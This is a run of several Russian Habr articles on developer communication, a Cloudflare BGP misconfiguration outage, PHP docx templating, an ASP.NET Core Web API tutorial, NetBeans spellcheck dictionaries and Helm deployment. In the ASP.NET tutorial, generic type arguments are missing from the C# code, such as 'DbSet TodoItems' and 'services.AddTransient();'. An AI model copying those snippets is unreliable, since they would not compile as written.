Скажем, в вашей компании работает система онлайн-закупок. Маркетолог хочет понять всю цепочку от онлайн-заказа до доставки посылки, чтобы лучше отвечать на вопросы клиентов. Я мог бы сказать что-то вроде этого:
> Представьте, что клиент по имени Чарли хочет купить дюжину спиннеров. Он заходит на [www.example.com](http://www.example.com), добавляет спиннеры в корзину и нажимает «Купить» (большинство людей уже знакомы с интернет-магазинами, так что можно не объяснять механизм корзины и расчёта).
>
>
>
> Теперь компьютер Чарли отправляет заказ Сэму (веб-серверу). Тот проверяет, что у Дебби (БД) достаточно запасов для выполнения заказа. Как только Дебби даёт согласие, Сэм сообщает Чарли, что покупка успешна, и выдаёт квитанцию (возможно, отправляет счёт по электронной почте).
>
>
>
> На заднем дворе ждёт ещё один парень (назовём его Фредом), который постоянно спрашивает Дебби, нет ли новых заказов. Если есть, то Фред сообщает реальному человеку, чтобы он взял товар с полки и передал Мэри в почтовое отделение (Мэри — тоже реальный человек, компьютеры не умеют носить спиннеры), а она отправит товар обычной почтой.
>
>
>
> Сэм и Ребекка (движок рекомендаций) находятся в сговоре. Поэтому Сэм сообщает Ребекке о каждом заказе, чтобы она могла использовать искусственный интеллект и чёрную магию, предлагая Чарли рекомендации других продуктов.
Всё это звучит немного комично, и пример более чем надуман, но я могу гарантировать, что это более понятное объяснение, чем большая сетевая диаграмма с терминами «веб-сервер», «событийная архитектура» и «Apache Kafka» (см. раздел о [технолепете](#1)).
Другой пример. Если вы пытаетесь объяснить постороннему человеку, как работает алгоритм поиска пути, вы не говорите «посещённым путям присваивается больший вес», вы говорите «алгоритм действительно не хочет идти по тем путям, где уже ходил».
Это тонкая разница, но мы выполняем персонификацию алгоритма. Мы говорим, что он «действительно хочет сделать X» или «очень стараться избегать Y». Зачастую это помогает людям просто *понять*.
Полезны и аналогии с примерами (если они уместны). Вероятно, вы уже заметили, что эта статья полна примеров. Вместо абстрактного объяснения я рассказываю конкретные истории, которые помогают объяснить тезис. Это не случайность.
Рисуйте красивые картинки
=========================
Звучит банально, но иногда картинка действительно стоит тысячи слов.
Пару месяцев назад я читал курс на радио, а девушка рядом никак не могла запомнить, какие кнопки нажимать в меню этого маленького ЖК-дисплея 16×2.
Я спросил, может ей нарисовать схему.
Она думала, что я умник и насмехаюсь над ней.
А я не шутил.
Вместо этого я нашёл клочок бумаги, и мы вместе составили что-то вроде такого:

Программист сразу распознает диаграмму состояний из теории автоматов. Незаметно для девушки я ввёл в её мозг фундаментальную технику информатики и то, как под капотом запрограммирован интерфейс этого радио.
Но ей (и всем остальным на этом этапе) наплевать на науку. Они получили карту, которую могут использовать для навигации по пользовательскому интерфейсу.
Есть какое-то странное удовольствие в том, чтобы адаптировать сложную концепцию для кого-то из другой области. Особенно когда они могут определить, что в карте действительно баг: нужно нажать и удерживать кнопку «Отмена» (Cancel), чтобы вернуться в состояние ожидания (Idle), потому что обычное нажатие этой кнопки возвращает вас в «Главное меню».
У меня на столе всегда лежит большой блокнот с чистыми листами. Обычно я записываю туда список дел или какие-то рисунки во время размышлений, но часто он помогает в объяснениях. Возможность что-то нарисовать во время разговора помогает сверить курс и убедиться, что вы на одной волне (каламбур), что вы одинаково представляете понятия.
Я ускорил $FEATURE в десять раз
===============================
Допустим, вы произвели некие настройки производительности, и теперь определённый фрагмент кода работает гораздо быстрее. Как объяснить это непрограммисту или тому, кто не видит исходный код?
С одной стороны, на вопрос, чем вы занимались на прошлой неделе, можете сказать человеку правду: *«Я добавил кэширование в `lookup_something ()`, чтобы ускорить общий поиск и перевести алгоритм в `detect_collisions()` с `O(n^2)` на `O(n log n)`»*, но с высокой вероятностью они ничего не поймут (см. [технолепет](#1)).
Вы также можете сказать, что *«оптимизировали производительность»*, но это звучит как отмазка, а менеджер задумается, зачем взял вас на работу.
Часто разработчики говорят: *«Я ускорил $FEATURE в десять раз»* (или какое-то другое произвольное число) и этим ограничиваются. Такая фраза позволяет насладиться кучей поздравлений от обывателей, но зачастую она немного… вводит в заблуждение.
В большинстве случаев на самом деле вы улучшили производительность нескольких функций, но если эти функции не были узким местом в производительности, то с большой вероятностью никто не увидит никакой разницы.
> Примечание. Если вы знакомы с законом Амдала, то повышение производительности функции, которая не является узким местом, похоже на использование большего количества ядер CPU для задачи, которая по своей сути является последовательной.
Напрашивается также вопрос: что вы сделали, чтобы повысить производительность в десять раз? Это на удивление конкретное число, ваш исходный код несколько раз повторял одну работу? Или он запрашивал данные (скажем, с аппаратного обеспечения или какого-то стороннего сайта) в десять раз медленнее, чем следовало? Даже это заставляет меня сомневаться в ваших способностях, потому что вы либо угадали (плохо) исходную скорость опроса, либо все ещё жертвуете производительностью, используя опрос вместо более эффективной событийной архитектуры.
Мне кажется, что лучше попытаться найти золотую середину между точностью и понятностью. Если вы сделали изменение, которое улучшает алгоритмическую сложность фрагмента кода (например, функция `detect_collisions()` перешла с `O(n^2)` на `O(n log n)`), то можете сказать: *«Функция X теперь может масштабироваться на большой объём входных данных за разумное время, а раньше не могла»*.
Вполне нормально сказать «Не знаю»...
=====================================
…и продолжить примерно так: *«…но если дадите мне пять минут, я смогу вам сказать»*.
Я часто такое вижу. Люди боятся показать своё невежество, поэтому молчат, мучаются или что-то выдумывают.
Например, если к вам пришёл менеджер и спрашивает: *«Клиент попросил функцию X, это возможно? И сколько времени займёт?»*
В девяти случаях из десяти честный ответ: *«Я не знаю»*, но он не очень поможет менеджеру определиться со сроками. Он обратился к вам, потому что вы являетесь экспертом в соответствующей области и лучше всего подготовлены, чтобы дать ответ.
Некоторые пытаются угадать или обманывают (например, *«Да, сделаем за две-три недели»*), но такой подход обычно не работает в долгосрочной перспективе. В лучшем случае вы задержитесь на пару недель, а в худшем случае потратите месяцы на работу только для того, чтобы обнаружить невозможность работы этой функции с текущей архитектурой приложения.
Это отличный способ потерять уважение коллег и начальства.
С другой стороны, слова *«Не уверен, но дайте 5-10 минут, и у меня будет ответ»* показывает сразу несколько вещей:
* Ты готов признать, что не знаешь всего (то есть не самовлюблённый эгоист).
* Ты отвечаешь за свои слова и не хочешь давать неточный ответ.
* Ты достаточно уважаешь человека, чтобы потратить часть своего времени, помогая ответить на его вопрос.
* Ты хороший парень :).
(И ты получаешь достаточно времени, чтобы всё выяснить).
Это напоминает [старую притчу](https://www.buzzmaven.com/old-engineer-hammer-2/):
> Другие люди (обычно) не ожидают, что вы знаете всё в своей области. Вместо этого они ожидают, что у вас есть инструменты для исследования вопроса и перевода ответа в термины, которые они смогут понять.
>
>
>
> Старый инженер ушёл на пенсию, а через несколько недель сломалась Большая Машина, очень важная для доходов компании. Менеджер не смог заставить машину снова работать, поэтому компания пригласила старого инженера в качестве независимого консультанта.
>
>
>
> Он согласился. Придя на фабрику, он посмотрел на Большую Машину, взял кувалду и ударил по ней один раз. После этого машина заработала. Старый инженер ушёл, а компания снова начала зарабатывать деньги.
>
>
>
> На следующий день менеджер получает от старого инженера счёт на 5000 долларов. Менеджер в ярости и отказывается платить. Старый инженер уверяет, что это справедливая цена. Менеджер парирует, что если это справедливая цена, то можно попросить детализацию счёта.
>
>
>
> Новый, детализированный счёт выглядит так…
>
>
>
> Молоток: $5
>
>
>
> Знать, в каком месте машины ударить молотком: $4995
Кто угодно может загуглить любой вопрос. Но только инженер-программист знает, какие использовать ключевые слова и как интерпретировать результаты.
Выводы
======
Обычно в своём блоге я публикую чисто технические статьи с тоннами кода, но иногда полезно помнить, что в этом мире есть что-то ещё, кроме кода.
Программистов (не без оснований) воспринимают как людей со слабыми социальными и коммуникативными навыками. Но значительная часть нашей работы требует эффективного общения. Надеюсь, мой опыт вам чем-то поможет.
Некоторые могут посчитать, что это «офисная политика» и манипулирование чужим мнением. Вот что я отвечу:
> Ну… да. А разве это не относится к большинству межличностных взаимодействий?
>
>
>
> Психология просто помогает программистам разговаривать с непрограммистами на одном языке и работать вместе для достижения общей цели. | https://habr.com/ru/post/486198/ | null | ru | null |
# Сервис Cloudflare был недоступен в течение получаса из-за ошибки в конфигурации маршрутизатора

17 июля 2020 года с 20:25 UTC (23:25 МСК) по 22:10 UTC (18 июля 01:10 МСК) в работе сервиса Cloudflare [наблюдались](https://www.androidpolice.com/2020/07/17/cloudflare-accidentally-turns-off-half-the-internet-in-brief-but-major-outage/) проблемы по всему миру. Хотя специалисты Cloudflare смогли быстро [разобраться в ситуации](https://blog.cloudflare.com/cloudflare-outage-on-july-17-2020/), но избежать прерывания глобальных сервисов им не удалось. Причем инцидент оказался достаточно серьезным — на полчаса пользователям оказались недоступны многие интернет-ресурсы, включая Discord, Valorant, Patreon, GitLab, Medium, Zendesk, Gematsu, Windows Central, Crunchyroll, многие игровые серверы (Riot Games, FIFA, Steam), Stream Labs и даже портал Downdetector.
Cloudflare заявила, что возникла проблема в доступности системы Cloudflare IP Resolver из-за ошибки в конфигурации маршрутизатора в магистральной сети компании, а не из-за атаки на сервис извне или нарушением внутренних систем безопасности.
Инциденту предшествовала аварийная ситуация — сначала произошел разрыв связи между дата-центрами Cloudflare в Ньюарке и Чикаго. Это привело к возникновению критической нагрузки на дата-центры Cloudflare в Атланте и Вашингтоне, округ Колумбия. Оперативно реагируя на эту ситуацию сетевой инженер Cloudflare обновил конфигурацию на маршрутизаторе глобальной магистрали в Атланте, чтобы уменьшить и перераспределить нагрузку на узлы системы. Однако, оказалось, что в новой конфигурации маршрутизатора была допущена ошибка (вместо удаления маршрутов Атланты из магистрали было прописано пропускать все маршруты BGP в магистраль), поэтому он стал ресолвить неверные маршруты после прерывания связи с частью дата-центров. Именно это привело к недоступности некоторых частей сети и [прерыванию](https://www.cloudflarestatus.com/) многих сервисов.
**Что именно было не так сделано.**
Сетевой инженер удалил одну строку в блоке настроек маршрутизатора. Данный блок определелял список принимаемых маршрутов и фильтровал их в соответствии с указанным списком префиксов. Фактически, вместо удаления всего блока была удалена только строка со списком префиксов.
```
{master}[edit]
atl01# show | compare
[edit policy-options policy-statement 6-BBONE-OUT term 6-SITE-LOCAL from]
! inactive: prefix-list 6-SITE-LOCAL { ... }
Содержимое блока:
from {
prefix-list 6-SITE-LOCAL;
}
then {
local-preference 200;
community add SITE-LOCAL-ROUTE;
community add ATL01;
community add NORTH-AMERICA;
accept;
}
```
Специалисты Cloudflare поняли, что что-то пошло не так в их сети из-за сбоя в работе маршрутизатора в Атланте, они изолировали это устройство из рабочей сети и перенаправили трафик сервиса по корректным маршрутам. Через некоторое время работа Cloudflare была полностью восстановлена.
> We isolated the Atlanta router and shut down our backbone, routing traffic across transit providers instead. There was some congestion that caused slow performance on some links as the logging caught up. Everything is restored now and we're looking into the root cause. 2/2
>
> — Matthew Prince (@eastdakota) [July 17, 2020](https://twitter.com/eastdakota/status/1284253619957624832?ref_src=twsrc%5Etfw)
Cloudflare заявила, что сожалеет об этом неумышленном сбое. Специалисты компании внесли все необходимые изменения в конфигурацию сетевого оборудования, чтобы предотвратить повторное возникновение подобной проблемы.
> См. также:
>
>
>
> * «[Cloudflare признала, что часть ее сервисов упали на четыре с половиной часа из-за отключения немаркированных кабелей](https://habr.com/ru/news/t/497670/)»
> * «[Переход с reCAPTCHA на hCaptcha в Cloudflare](https://habr.com/ru/company/ruvds/blog/497984/)»
> * «[Cloudflare запустила портал для проверки провайдеров на BGP hijack, если они поддерживают механизм RPKI](https://habr.com/ru/news/t/497848/)»
> | https://habr.com/ru/post/511506/ | null | ru | null |
# Создание печатной формы Microsoft Word с помощью PHP
##### Предыстория
Занимаюсь написанием crm модуля в одном диллерском центре. Весь проект делается в вебе. Одной из недавних задач было создание печатной формы, а точнее коммерческого предложения. И все бы ничего, но документ должен печататься и отдаваться клиенту в руки, а главная загвоздка была в том, что этот документ был многостраничным и содержал два колонтитула, верхний и боковой. (Таков оказался официальный бланк организации). Вариант решения под катом.
##### Мой вариант решения
И вот с этими колонтитулами и возникла проблема. Я не смог найти простого решения с использованием HTML javascript. С помощью HTML можно управлять расположением блоков при печати, переносить блок если он не входит целеком и все в таком духе. Как посчитать примерный конец страницы и уместить там блок с колонтитулом (с помощью javascript) я тоже представляю слабо, поскольку существует достаточно много нюансов на стороне пользователя. Поэтому было принято пойти немного иным путем, а именно связаться с Microsoft Word.
Слава руководству этой организации, на каждой рабочей станции установлен Microsoft Office 2007.
Итак, был собран шаблон в Word’е, который содержал полностью заполненное коммерческое предложение, с автомтически формируемыми полями и колонтитулами. Оставалось только подставить в нужные места данные клиента, таблицу со спецификацией товара и контакты менеджера. Как это сделать?
Я не стал использовать сторонние библиотеки, оказалось достаточно того, что документ Microsoft Word (речь идет про \*.docx) представляет собой ничто иное, как обычный zip с кучей xml-файлов и прочих ресурсов типа картинок. Распаковав docx мы получаем следующее:

Собственно из всех этих файлов нам нужен только один, это document.xml. В нем содержится вся интересующая нас информация, а именно содержание нашего документа. Поскольку этот файл будет служить шаблоном, его мы аккуратно извлекаем и располагаем рядом с нашим упакованным документом. Дальше нам остается только взять его содержимое, изменить данные, упаковать его в Word в нужное место и отправить пользователю в браузер.
Для этого мы используем Zip — расширение позволяет легко читать и писать как в сами сжатые ZIP архивы, так и в файлы внутри них.
```
$zip = new ZipArchive;
if ($zip->open('template.docx') === TRUE) {
/*открываем наш шаблон для чтения (он находится вне документа)
и помещаеем его содержимое в переменную $content*/
$handle = fopen("document.xml", "r");
$content = fread($handle, filesize("document.xml"));
fclose($handle);
/*Далее заменяем все что нам нужно например так */
$content = str_replace("{customer_r}","Иванов Иван Иванович",$content);
/*Удаляем имеющийся в архиве document.xml*/
$zip->deleteName('word/document.xml');
/*Пакуем созданный нами ранее и закрываем*/
$zip->addFromString('word/document.xml',$content);
$zip->close();
}
```
После проделанных операций отправляем полученный документ пользователю в браузер.
Если не портить xml то пользователь получит, полностью валидный документ. Если по невнимательности намудрить, то при открытии Word выругается на вас о наличии недопустимых символов, скажет где именно, и попытается исправить.
Можно добавлять любую информацию, например таблицы.
Ячейку таблицы можно легко вычислить (как и целую строку):
```
Значение в ячейке
```
Ну вот собственно и все.
Если знаете другие способы как решить даную проблему, поделитесь пожалуйста.
Буду очень признателен. | https://habr.com/ru/post/204484/ | null | ru | null |
# ASP.NET Web API + Entity Framework + Microsoft SQL Server + Angular. Часть 1

Введение
--------
Небольшой курс по созданию простого веб-приложения с помощью технологий ASP.NET Core, фреймворка Entity Framework, СУБД Microsoft SQL Server и фреймворка Angular. Тестировать Web API будем через приложение [Postman](https://www.postman.com/).
Курс состоит из нескольких частей:
1. Создание Web API с помощью ASP.NET Web API и Entity Framework Core.
2. Реализация пользовательского интерфейса на Angular.
3. Добавление аутентификации в приложение.
4. Расширение модели приложения и рассмотрение дополнительных возможностей Entity Framework.
**Часть 1. Создание Web API с помощью ASP.NET Web API и Entity Framework Core
---------------------------------------------------------------------------**
В качестве примера будем расматривать уже ставшее классическим — приложение списка дел. Для разработки приложения я буду использовать Visual Studio 2019(в Visual Studio 2017 процесс аналогичен).
### Создание проекта
Создадим новый проект ASP.NET Core Web Application в Visual Studio:

Назовем приложение и укажем путь к каталогу с проектом:

И выберем шаблон приложения API:

### Модель
Создадим каталог Models и в новый каталог добавим первый класс TodoItem.cs, объекты которого будут описывать некоторые задачи списка дел в приложении:
```
public class TodoItem
{
public int Id { get; set; }
public string TaskDescription { get; set; }
public bool IsComplete { get; set; }
}
```
В качестве СУБД мы будем использовать Sql Server, а доступ к базе данных будет осуществляться через Entity Framework Core и для начала установим фреймворк через встроенный пакетный менеджер NuGet:

Одним из подходов в работе с Entity Framework является подход «Code-First». Суть подхода заключается в том, что на основе модели приложения(в нашем случае модель представляет единственный класс — TodoItem.cs) формируется струткура базы данных(таблицы, первичные ключи, ссылки), вся эта работа происходит как бы «за кулисами» и напрямую с SQL мы не работаем. Обязательным условием класса модели является наличие поля первичного ключа, по умолчанию Entity Framework ищет целочисленное поле в имени которого присутствует подстрока «id» и формирует на его основе первичный ключ. Переопределить такое поведение можно с помощью специальных атрибутов или используя возможности Fluent API.
Главным компонентом в работе с Entity Framework является класс контекста базы данных, через который собственно и осуществляется доступ к данным в таблицах:
```
public class EFTodoDBContext : DbContext
{
public EFTodoDBContext(DbContextOptions options) : base(options)
{ }
public DbSet TodoItems{ get; set; }
}
```
Базовый класс DbContext создает контекст БД и обеспечивает доступ к функциональности Entity Framework.
Для хранения данных приложения мы будем использовать [SQL Server 2017 Express](https://www.microsoft.com/ru-RU/download/details.aspx?id=55994). Строки подключения хранятся в файле JSON под названием appsettings.json:
```
{
"ConnectionStrings": {
"DefaultConnection": "Server=.\\SQLEXPRESS;Database=Todo;Trusted_Connection=true"
}
}
```
Далее нужно внести изменения в класс Startup.cs, добавив в метод ConfigureServices() следующий код:
```
services.AddDbContext(options => options.UseSqlServer(Configuration["ConnectionStrings:DefaultConnection"]));
```
Метод AddDbContext() настраивает службы, предоставляемые инфраструктурой Entity Framework Core для класса контекста базы EFTodoDBContext. Аргументом метода AddDbContext () является лямбда-выражение, которое получает объект options, конфигурирующий базу данных для класса контекста. В этом случае база данных конфигурируется с помощью метода UseSqlServer() и указания строки подключения.
Определим основные операции для работы с задачами в интерфейсе ITodoRepository:
```
public interface ITodoRepository
{
IEnumerable Get();
TodoItem Get(int id);
void Create(TodoItem item);
void Update(TodoItem item);
TodoItem Delete(int id);
}
```
Данный интерфейс позволяет нам не задумываться о конкретной реализации хранилища данных, возможно мы точно не определились с выбором СУБД или ORM фреймворком, сейчас это не важно, класс описывающий доступ к данным будет наследовать от этого интерфейса.
Реализуем репозиторий, который как уже сказано ранее, будет наследовать от ITodoRepository и использовать в качестве источника данных EFTodoDBContext:
```
public class EFTodoRepository : ITodoRepository
{
private EFTodoDBContext Context;
public IEnumerable Get()
{
return Context.TodoItems;
}
public TodoItem Get(int Id)
{
return Context.TodoItems.Find(Id);
}
public EFTodoRepository(EFTodoDBContext context)
{
Context = context;
}
public void Create(TodoItem item)
{
Context.TodoItems.Add(item);
Context.SaveChanges();
}
public void Update(TodoItem updatedTodoItem)
{
TodoItem currentItem = Get(updatedTodoItem.Id);
currentItem.IsComplete = updatedTodoItem.IsComplete;
currentItem.TaskDescription = updatedTodoItem.TaskDescription;
Context.TodoItems.Update(currentItem);
Context.SaveChanges();
}
public TodoItem Delete(int Id)
{
TodoItem todoItem = Get(Id);
if (todoItem != null)
{
Context.TodoItems.Remove(todoItem);
Context.SaveChanges();
}
return todoItem;
}
}
```
### Контроллер
Контроллер, реализация которого будет описана ниже, ничего не будет знать о контексте данных EFTodoDBContext, а будет использовать в своей работе только интерфейс ITodoRepository, что позволяет изменить источник данных не меняя при этом контроллера. Такой подход Адам Фримен в своей книге [«Entity Framework Core 2 для ASP.NET Core MVC для профессионалов»](https://www.ozon.ru/context/detail/id/149620929/) назвал — паттерн «Хранилище».
Контроллер реализует обработчики стандартных методов HTTP-запросов: GET, POST, PUT, DELETE, которые будут изменять состояние наших задач, описанных в классе TodoItem.cs.
Добавим в каталог Controllers класс TodoController.cs со следующим содержимым:
```
[Route("api/[controller]")]
public class TodoController : Controller
{
ITodoRepository TodoRepository;
public TodoController(ITodoRepository todoRepository)
{
TodoRepository = todoRepository;
}
[HttpGet(Name = "GetAllItems")]
public IEnumerable Get()
{
return TodoRepository.Get();
}
[HttpGet("{id}", Name = "GetTodoItem")]
public IActionResult Get(int Id)
{
TodoItem todoItem = TodoRepository.Get(Id);
if (todoItem == null)
{
return NotFound();
}
return new ObjectResult(todoItem);
}
[HttpPost]
public IActionResult Create([FromBody] TodoItem todoItem)
{
if (todoItem == null)
{
return BadRequest();
}
TodoRepository.Create(todoItem);
return CreatedAtRoute("GetTodoItem", new { id = todoItem.Id }, todoItem);
}
[HttpPut("{id}")]
public IActionResult Update(int Id, [FromBody] TodoItem updatedTodoItem)
{
if (updatedTodoItem == null || updatedTodoItem.Id != Id)
{
return BadRequest();
}
var todoItem = TodoRepository.Get(Id);
if (todoItem == null)
{
return NotFound();
}
TodoRepository.Update(updatedTodoItem);
return RedirectToRoute("GetAllItems");
}
[HttpDelete("{id}")]
public IActionResult Delete(int Id)
{
var deletedTodoItem = TodoRepository.Delete(Id);
if (deletedTodoItem == null)
{
return BadRequest();
}
return new ObjectResult(deletedTodoItem);
}
}
```
Перед определением класса указан атрибут с описанием шаблона маршрута для доступа к контроллеру: [Route(«api/[controller]»)]. Контроллер TodoController будет доступен по следующему маршруту: https://:<порт>/api/todo. В [controller] указывается название класса контроллера в нижнем регистре, опуская часть «Controller».
Перед определением каждого метода в контроллере TodoController указан специальный атрибут вида: [<метод HTTP>(«параметр»,Name = «псевдоним метода»)]. Атрибут определяет какой HTTP-запрос будет обработан данным методом, параметр, который передается в URI запроса и псевдоним метода с помощью которого можно переотправлять запрос. Если не указать атрибут, то по умолчанию инфраструктура MVC попытается найти самый подходящий метод в контроллере для обработки запроса исходя из названия метода и указанных параметров в запросе, так, если не указать в контроллере TodoController атрибут для метода Get(), то при HTTP-запросе методом GET: https://:<порт>/api/todo, инфраструткура определит для обработки запроса метод Get() контроллера.
В своем конструкторе контроллер получает ссылку на объект типа ITodoRepository, но пока что инфраструктура MVC не знает, какой объект подставить при создании контроллера. Нужно создать сервис, который однозначно разрешит эту зависисмость, для этого внесем некотрые изменения в класс Startup.cs, добавив в метод ConfigureServices() следующий код:
```
services.AddTransient();
```
Метод AddTransient() определяет сервис, который каждый раз, когда требуется экземпляр типа ITodoRepository, например в контроллере, создает новый экземпляр класс EFTodoRepository.
Полный код класса Startup.cs:
```
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
public void ConfigureServices(IServiceCollection services)
{
services.AddControllers();
services.AddMvc().SetCompatibilityVersion(CompatibilityVersion.Version_3_0);
services.AddDbContext(options => options.UseSqlServer(Configuration["ConnectionStrings:DefaultConnection"]));
services.AddTransient();
}
public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
app.UseHttpsRedirection();
app.UseRouting();
app.UseAuthorization();
app.UseEndpoints(endpoints =>
{
endpoints.MapControllers();
});
}
}
```
### Миграции
Для того чтобы Entity Framework сгенерировал базу данных и таблицы на основе модели, нужно использовать процесс миграции базы данных. Миграции — это группа команд, которая выполняет подготовку базы данных для работы с Entity Framework. Они используются для создания и синхронизации базы данных. Команды можно выполнять как в консоли диспетчера пакетов (Package Manager Console), так и в Power Shell(Developer Power Shell). Мы будем использовать консоль диспетчера пакетов, для работы с Entity Framework потребуется установить пакет Microsoft.EntityFrameworkCore.Tools:

Запустим консоль диспетчера пакетов и выполним команду **Add-Migration Initial**:


В проекте появится новый каталог — Migrations, в котором будут хранится классы миграции, на основе которых и будут создаваться объекты в базе данных после выполнения команды Update-Database:

Web API готово, запустив приложение на локальном IIS Express мы можем протестировать работу контроллера.
### Тестирование WebAPI
Создадим новую коллекцию запросов в Postman под названием TodoWebAPI:

Так как наша база пуста, протестируем для начала создание новой задачи. В контроллере за создание задач отвечает метод Create(), который будет обрабатывать HTTP запрос отправленный методом POST и будет содержать в теле запроса сериализированный объект TodoItem в JSON формате. Аттрибут [FromBody] перед параметром todoItem в методе Create() подсказывает инфраструктуре MVC, что нужно десериализировать объект TodoItem из тела запроса и передать его в качестве параметра методу. Создадим запрос в Postman, который отправит на webAPI запрос на создание новой задачи:

Метод Create() после успешного создания задачи перенаправляет запрос на метод Get() с псевдонимом «GetTodoItem» и передает в качестве параметра Id только что созданной задачи, в результате чего в ответ на запрос мы получим созданный объект задачи в формате JSON.
Отправив HTTP запрос методом PUT и указав при этом в URI Id(https://localhost:44370/api/todo/1) уже созданного объекта, а в теле запроса передав объект с некоторыми изменениями в формате JSON, мы изменим этот объект в базе:

HTTP запросом с методом GET без указания параметров получим все объекты в базе:

Запрос HTTP с методом DELETE и указанием Id объекта в URI(https://localhost:44370/api/todo/2), удалит объект из базы и вернет JSON с удаленной задачей:

На этом все, в следующей части реализуем пользовательский интерфейс с помощью JavaScript-фреймворка Angular. | https://habr.com/ru/post/513514/ | null | ru | null |
# Установка словарей для проверки орфографии в NetBeans
Всем привет!
#### Чего хотим
Хотим чтобы работала проверка орфографии в NetBeans для русского языка.
#### Как сделать
*КО: Чтобы работала проверка орфографии для русского языка, надо установить словарь для русского языка!*
Поскольку найти словарь сходу не удалось, пришлось сделать его самому. Под катом рассказ как сделать свой словарь для NetBeans. Для тех кто не хочет морочиться, в конце статьи приведены ссылки на готовые словари.
*UPDATE*
В комментариях подтвердили работоспособность словарей в IntelliJ IDEA и Eclipse IDE.
Все действия выполнялись под Ubuntu 11.04 с установленным aspell. Словари проверялись в NetBeans 7.1beta, но должны успешно работать в версиях 6.9 и 7.0.
##### Скачиваем и устанавливаем словарь русского языка
Скачиваем и устанавливаем словарь русского языка для aspell. Если нужен словарь для другого языка — ищем здесь [ftp.gnu.org/gnu/aspell/dict/0index.html](ftp://ftp.gnu.org/gnu/aspell/dict/0index.html)
```
mkdir -p /tmp/nbdict && cd /tmp/nbdict
wget ftp://ftp.gnu.org/gnu/aspell/dict/ru/aspell6-ru-0.99f7-1.tar.bz2
tar -jxf aspell6-ru-0.99f7-1.tar.bz2
cd aspell6-ru-0.99f7-1/
./configure
# Здесь мы должны увидеть что-то типа этого:
# Finding Dictionary file location ... /usr/lib/aspell
# Finding Data file location ... /usr/lib/aspell
make
sudo make install
```
##### Генерируем словарь для NetBeans
Словарь для NetBeans — это просто список слов. Нам нужно его сгенерировать из словаря aspell.
Чтобы увидеть установленные словари aspell, необходимо выполнить команду:
```
aspell dump dicts
```
В этом списке мы должны увидеть словари для русского языка:
ru-ye — словарь со словами через «е», например содержит «елка»
ru-yo — словарь со словами через «ё», например содержит «ёлка»
ru-yeyo — словарь со словами через «е» и «ё», содержит «елка» и «ёлка»
ru — содержит то же, что и ru-ye
Нам необходимо сгенерировать файл словаря русских слов со всеми формами окончаний слов (суффиксов слов), по одному слову на каждой строке:
```
cd ..
aspell -l ru-yo dump master | aspell -l ru expand | tr ' ' '\n' > aspell_dump-ru-yo.txt
# aspell -l ru-yo dump master - получить список слов словаря ru-yo
# aspell -l ru expand - развернуть окончания (суффиксы) слов по правилам русского языка
# tr ' ' '\n' - разбить вывод предыдущей команды на строки
```
Теперь у нас есть файл aspell\_dump-ru-yo.txt содержащий все слова из словаря с различными окончаниями.
##### Че ты мне английский выпилил? Давай делай обратно, для!
К сожалению поддержка в NetBeans нескольких словарей одновременно отсутствует. Если вы пишете в NetBeans стихи или мемуары, то может вам хватит только проверки русского языка. Если еще иногда и программируете — вам также нужна проверка английского. Для этого создадим объединенный словарь слов русского и английского языка:
```
# Генерируем словарь для английского
aspell -l en_US dump master | aspell -l en expand | tr ' ' '\n' > aspell_dump-en_US.txt
# Объединяем словари
cat aspell_dump-en_US.txt aspell_dump-ru-yo.txt > aspell_dump-en_US+ru-yo.txt
```
##### Устанавливаем словарь
Запускаем NetBeans, открываем вкладку Tools -> Options -> Miscellaneous ->Spellchecker.
На вкладке нажимаем Add… и выбираем наш файл aspell\_dump-en\_US+ru-yo.txt. Устанавливаем кодировку словаря в UTF-8 и вписываем локаль «ru».
Нажимаем Add — словарь должен появиться в списке. Для проверки орфографии русского языка выбираем локаль по-умолчанию «ru». Словарь будет использоваться только когда локаль словаря точно совпадает с локалью по-умолчанию.
Закрываем диалог и переходим в редактор. Окрываем любой файл, пишем слово по русски и сохраняем. NetBeans запустит процесс проверки орфографии, который в первый раз будет генерировать индекс из нашего словаря. Поэтому не торопимся и ждем.
Индексы словарей хранятся в папке ~/.netbeans/7.1beta/var/cache/dict/. Для нашего словаря должен появится файл dictionary\_ru.trie1.
При удалении словаря из NetBeans индексный файл не удаляется, нужно удалить его вручную.
Спасибо за внимание!
##### Ссылки
Для тех кому лень все проделывать самостоятельно, я подготовил два словаря:
[Объединенный словарь английского и русского языков с написанием слов через «ё»](http://narod.ru/disk/32773485001/aspell_dump-en_US%2Bru-yo.txt.zip.html)
[Объединенный словарь английского и русского языков с написанием слов через «е»](http://narod.ru/disk/32773368001/aspell_dump-en_US%2Bru-ye.txt.zip.html)
*UPD: По просьбам трудящихся*
[Словарь английского языка](http://narod.ru/disk/32843692001/aspell_dump-en_US.txt.zip.html)
[Словарь русского языка с написанием слов через «ё»](http://narod.ru/disk/32843884001/aspell_dump-ru-yo.txt.zip.html)
[Словарь русского языка с написанием слов через «е»](http://narod.ru/disk/32843826001/aspell_dump-ru-ye.txt.zip.html) | https://habr.com/ru/post/133552/ | null | ru | null |
# Автоматизированное развертывание в Kubernetes с помощью Helm и дополнительной шаблонизации
В этой статье я расскажу и покажу, как при помощи Helm и некоторых дополнительных инструментов построить и настроить автоматическое развертывание в Kubernetes для системы из (микро)сервисов и не потеряться во множестве шаблонов и манифестов. Мы успешно реализовали такой подход у себя. Если у вас есть подобная задача или нечто похожее, надеюсь, статья окажется для вас полезной целиком или в качестве источника "рецептов".
Немного о системе и задаче развертывания
----------------------------------------
Меня зовут [Михаил](https://www.linkedin.com/in/mmlepeshkin), я CTO в Exerica и Deputy CEO в Qoollo. В Exerica у нас построена система с сервисной архитектурой: больше десятка сервисов, NoSQL база данных и централизованные логирование с мониторингом.
Для работы с кодом и CI/CD мы используем собственный экземпляр GitLab. Каждое приложение имеет свой репозиторий, где происходит его сборка, в результате которой контейнер с приложением очередной версии помещается в registry. Версионирование автоматизировано: разработчик задает только старшую и младшую версии, а номер билда генерируется системой сборки. Для версий, выбираемых не из "основной" ветки также автоматически проставляется feature-версия из номера задачи в трекере.
Обычно у нас бывает несколько развертываний на промышленную среду в день. Также практически у каждого разработчика есть возможность развернуть полнофункциональный экземпляр системы. Поэтому нам нужен простой механизм сборки системы из набора сервисов конкретных версий. И удобный автоматический механизм отката изменений, если что-то пошло не так. Ранее у нас была разработана автоматизация развертывания в кластер Docker Swarm с помощью Ansible.
